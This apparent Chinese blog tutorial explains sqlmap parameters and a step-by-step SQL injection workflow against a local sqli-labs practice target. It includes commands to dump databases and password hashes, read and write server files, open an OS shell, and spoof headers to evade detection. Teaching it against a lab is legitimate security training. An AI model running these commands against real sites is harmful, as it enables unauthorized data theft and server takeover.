文章目录

  • SQLmap
    • 安装
      • Windows安装
      • Linux安装
    • 常见参数
      • 设置目标url:
      • 设置回显等级:-v
      • 设定探测等级:--level=N(sqlmap -r情况下)
      • 设定探测风险等级:--risk
      • 设置http相关参数
      • 指定测试参数
      • 列数据
      • 使用shell命令
    • 注入流程
      • 1.判断注入点和数据类型:
      • 2.判断数据库名
      • 3.判断表名
      • 4.判断列名
      • 5.获取字段
      • 6.查看获取的数据文件
  • 椰树
  • 啊D注入

SQLmap

安装
Windows安装
  1. 将sqlmap文件夹复制到python环境的文件夹下,进入该路径下的sqlmap下,shift+鼠标右键,选择在此处打开命令窗口,进入cmd窗口后,输入python sqlmap.py -u测试是否成功
Linux安装
  1. 用kali虚拟机,默认安装sqlmap的,所以直接在shell界面输入sqlmap回车测试
常见参数
设置目标url:
  • -u或–url:sqlmap -u “带参数的url连接”

  • -m:从文本获取多个扫描目标,一个url一行。sqlmap -m urllist.txt

  • -r:将http请求包的请求内容写到文件,sqlmap在文件直接扫描,就不需要设定cookie等字段值。sqlmap -r request.txt

设置回显等级:-v
  • 0:只显示python错误和严重的信息
  • 1:默认值,同时显示基本信息和警告信息
  • 2:同时显示debug信息
  • 3:同时显示注入的pyload
  • 4:同时显示http请求
  • 5:同时显示http响应头
  • 6:同时显示http响应页面
  • 例:sqlmap -u “http://192.168.44.1/sqlilabs/Less-1/?id=1” -v 6
设定探测等级:–level=N(sqlmap -r情况下)
  • level>=1:默认值,正常探测参数位置
  • level>=2:探测http的cookie值
  • level>=3:探测user-agent/referer字段
  • level=5:探测host信息
  • 例:sqlmap -r request.txt --level=5
设定探测风险等级:–risk
  • 1:默认值,测试大部分测试语句
  • 2:增加基于时间的测试语句
  • 3:增加or语句的sql注入测试
  • 例:sqlmap -u “带参数的链接” --risk=3
设置http相关参数
  • –data:就是把data后面的数据以post方式提交。
  • –cookie:将抓包的cookie值复制到cookie参数后面,会自动生成,但是不一定成功。
    • 例:sqlmap -u “http://192.168.44.1/sqlilabs/Less-1/” --data=“id=1” --cookie=“Cookie: PHPSESSID=p7ac6np116eh5g21pcu0ho8su1”
  • –user-agent:默认情况下,sqlmap的http头部user-agent会带有自己的标识,容易被杀掉,所以需要伪造一个假的
    • 例:sqlmap -u “http://192.168.44.1/sqlilabs/Less-1/” --data=“id=1” --level 3 --user-agent=“opjijo”
  • -random-agent:会从/usr/share/sqlmap/data/txt中的user-agent.txt文档中随即获取一个user-agent值
    • 例:
  • -referer:伪造referer字段,绕过检测。
    • 例:sqlmap -u “http://192.168.44.1/sqlilabs/Less-1/?id=1” --referer=“www.baidu.com”
  • –delay:设定两个http请求间的延时,默认没有,值为1即间隔1秒
  • –timeout:设定http请求多久时间超时,默认秒
指定测试参数
  • -p:默认测试所有post、get参数,可以指定要检测的参数
  • –skip:指定不需要检测的参数
列数据
  • –dbs(查看数据库),–users(查看所有用户),–passwords(查看所有用户密码)
  • –technique:指定使用那种注入类型(B-布尔型,E-报错,U-联合,T-时间注入,S-多语句查询)
  • –current-db(当前数据库)、–current-user(当前用户)
  • –privileges:权限
  • -D database_name --tables(获取表)
  • -D database_name -T --table_name --columns(获取列)
  • -D database_name -T --table name -C --column_1,columns_2 --dump(获取字段)
  • –is-dba:判断数据库是否为dba
  • –sql-query “select user(),version(),database()” :使用sql语句
  • –file-read=/opt/lampp/htdocs/php.ini :文件读取
  • –file-write C:\1.txt --file-dest /opt/lampp/htdocs/vulnerabilities/exec/1.txt:写入
使用shell命令
  • –os-shell:反弹交互shell

    • 前提:需要网站的物理路径,并且有FILE的读写权限
    • 格式:sqlmap -u “url” -p “id” --dbms mysql --os-shell
    • 选择语言,再根据提示选择2,填写物理路径(d:/phpstudy/www)
  • –sql-shell:执行指定sql命令。sqlmap -u “http://192.168.44.1/sqlilabs/Less-1/?id=1” --sql-shell
  • –os-cmd=系统命令:一次性的执行系统命令,前几步和第一个一样,只不过没有shell界面反弹
  • –batch:自动选择y/n
  • –start:导出数据的开始条数
  • –stop:导出数据的结束条数
  • –dump:导出数据
  • –dump-all:导出所有数据
  • –purge-output或–purge:清空缓存目录
  • –dbms “Mysql” --users:指定数据库类型
  • –dbs -o “sqlmap.log”:保存进度
  • –dbs -o “sqlmap.log” --resume:恢复已保存的进度
注入流程
1.判断注入点和数据类型:
  1. sqlmap -u “http://192.168.44.1/sqlilabs/Less-1/?id=1”。针对GET注入
  2. sqlmap -r 存有post请求的文档路径
2.判断数据库名

sqlmap -u “http://192.168.44.1/sqlilabs/Less-1/?id=1” --dbs

3.判断表名

sqlmap -u “http://192.168.44.1/sqlilabs/Less-1/?id=1” -D 数据库名 --tables

4.判断列名

sqlmap -u “http://192.168.44.1/sqlilabs/Less-1/?id=1” -D 数据库名 -T --columns

5.获取字段

sqlmap -u “http://192.168.44.1/sqlilabs/Less-1/?id=1” -D 数据库名 -T 表名 -C 列名 --dump

6.查看获取的数据文件
  1. windows:c:/users/administrator/.sqlmap/output
  2. kali:/root/.sqlmap/output

椰树

啊D注入

sql注入三种工具(主要sqlmap)相关推荐

  1. SQL下三种执行CMD命令的方法

    SQL下三种执行CMD命令的方法: 先删除7.18号日志: (1)exec master.dbo.xp_cmdshell 'del C:/winnt/system32/logfiles/W3SVC5/ ...

  2. sql注入的小工具介绍

    sql注入的小工具介绍 啊D注入工具: pangolin(穿山甲) 穿山甲:Pangolin(中文译名为穿山甲)一款帮助渗透测试人员进行Sql注入测试的安全工具,是深圳宇造诺赛科技有限公司(Nosec ...

  3. ETL常用的三种工具介绍及对比 Datastage,Informatica 和 Kettle

    大家好,我是梦想家 Alex ~ ETL是数据仓库中的非常重要的一环,是承前启后的必要的一步.ETL负责将分布的.异构数据源中的数据如关系数据.平面数据文件等抽取到临时中间层后进行清洗.转换.集成,最 ...

  4. 渣渣白教你使用工具Safe3 SQL注入安全检测工具

    说明:1.  未经授权的渗透测试都是违法的! 2.  文章用红色字体编写的部分是关键部分(认真看)!!! 3.  文章用黑色字体编写的部分是渣渣白内心独白,无关紧0! 4.  文章用其他颜色字体编写的 ...

  5. ETL常用的三种工具介绍及对比Datastage,Informatica

    ETL是数据仓库中的非常重要的一环,是承前启后的必要的一步.ETL负责将分布的.异构数据源中的数据如关系数据.平面数据文件等抽取到临时中间层后进行清洗.转换.集成,最后加载到数据仓库或数据集市中,成为 ...

  6. pl/sql中三种游标循环效率对比

    pl/sql中三种游标循环效率对比 - Oracle数据库栏目 - 红黑联盟 http://www.2cto.com/database/201307/224636.html 转载于:https://b ...

  7. oracle数据库开多线程,学习笔记:Oracle表数据导入 DBA常用单线程插入 多线程插入 sql loader三种表数据导入案例...

    天萃荷净 oracle之数据导入,汇总开发DBA在向表中导入大量数据的案例,如:单线程向数据库中插入数据,多线程向数据表中插入数据,使用sql loader数据表中导入数据案例 1.Oracle数据库 ...

  8. Mysql Oracle Sql server 三种数据库默认端口

    ** Mysql Oracle Sql server 三种数据库默认端口 ** SQL Server默认端口号为:1433 URL:"jdbc:microsoft:SQL Server:// ...

  9. SQL 分为三种类型

    SQL 分为三种类型: DDL(数据定义语言(Data Definition Language),开发前的设计):主要指数据对象的创建(表.用户): DML(数据操作语言(Data Manipulat ...

  10. OWASP TOP 10(一)SQL注入(自动化工具sqlmap)

    文章目录 sqlmap 一.概述 二.基本参数 1. 检测注入点 2. 列出所有数据库名 3. 列出当前数据库名 4. 列出数据库名表名 5. 列出表中字段名 6. 列出字段内容 - 读取post请求 ...

最新文章

  1. 凸函数和非凸函数---and why
  2. java.sql.SQLException: Lock wait timeout exceeded
  3. [爬虫+数据分析] 分析北京Python开发的现状
  4. linux打印jvm内存堆栈_5款强大的JVM 性能调优监控工具
  5. call 和 apply 的使用
  6. 2017.10.9 放棋子 思考记录
  7. 芜湖机器人餐厅地址_自助餐哪家强?得看谁让你扶墙... 芜湖8家自助餐厅超强攻略来了...
  8. 程序员的灯下黑:如果你想考研究生或是研究生
  9. 考研高数 专题7:方程根的存在性及个数(零点定理-罗尔定理;单调性-罗尔定理推论)
  10. ipad尺寸html,HTML5之viewport标签,用于iPhone、iPad等手机网页开发。
  11. 软件环境 硬件环境java,软件环境和硬件环境都指什么?
  12. 手机设备号到底是什么?
  13. linux下tomcat的访问权限,关于Linux权限引起的Tomcat项目404问题
  14. 机器人动力学 拉格朗日乘子法求解动力学方程
  15. Android 源码 输入系统之 InputReader
  16. Faster BiSeNet:A Faster Bilateral SegmentationNetwork for Real-time Semantic Segmentation
  17. 简单记录thinkphp5使用Querylist插件做采集
  18. 你应该知道的一个PyTorch小技巧
  19. docker文件清理 <none>
  20. 网站备案流程[菜鸟必看],

热门文章

  1. Linux下安装vim命令
  2. 易语言精益模块json_精易模块|精易模块下载 v3.46 官方免费版_最火软件站
  3. 前端和后端的英文_前端开发与架构师
  4. 测试用例方法----正交试验(实验)设计法(黑盒)
  5. vuetify模板零基础入门
  6. 武汉大学计算机学院程序大赛,“星网锐捷杯”华中区高校研究生程序设计大赛通知...
  7. 没登录的计算机怎么远程桌面,没有远程登陆工具如何远程电脑 如何用向日葵实现远程登陆?...
  8. 从0到1搭建大数据平台之数据采集篇
  9. mybatis-plus整合p6spy
  10. python由编译器将源程序转化为机器语言、然后执行_高级语言程序设计(Python)-中国大学mooc-车万翔-车万翔...